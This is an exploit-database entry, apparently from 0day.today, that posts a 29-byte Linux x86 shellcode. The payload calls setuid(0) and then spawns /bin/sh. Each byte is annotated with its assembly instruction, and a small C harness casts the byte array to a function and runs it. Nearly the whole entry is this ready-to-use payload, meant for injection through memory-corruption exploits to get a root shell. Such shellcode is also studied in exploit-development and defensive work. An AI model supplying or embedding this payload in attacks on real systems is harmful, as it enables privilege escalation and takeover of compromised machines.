linux/x86 setuid(0) + execve("/bin/sh",...) Shellcode 29 bytes

2010-04-23T00:00:00
ID 1337DAY-ID-11951
Type zdt
Reporter Marcin Ulikowski
Modified 2010-04-23T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            ==============================================================
linux/x86 setuid(0) + execve("/bin/sh",...) Shellcode 29 bytes
==============================================================

/* 29 byte-long setuid(0) + execve("/bin/sh",...) shellcode
   by Marcin Ulikowski <[email protected]> */
 
#include <unistd.h>
 
char shellcode[] =
"\x31\xdb"             /* xor    %ebx,%ebx       */
"\x8d\x43\x17"         /* lea    0x17(%ebx),%eax */
"\xcd\x80"             /* int    $0x80           */
"\x53"                 /* push   %ebx            */
"\x68\x6e\x2f\x73\x68" /* push   $0x68732f6e     */
"\x68\x2f\x2f\x62\x69" /* push   $0x69622f2f     */
"\x89\xe3"             /* mov    %esp,%ebx       */
"\x50"                 /* push   %eax            */
"\x53"                 /* push   %ebx            */
"\x89\xe1"             /* mov    %esp,%ecx       */
"\x99"                 /* cltd                   */
"\xb0\x0b"             /* mov    $0xb,%al        */
"\xcd\x80";            /* int    $0x80           */
 
int main(void) {
  void(*f)()=(void*)shellcode;f();
  return 0;
}



#  0day.today [2018-04-03]  #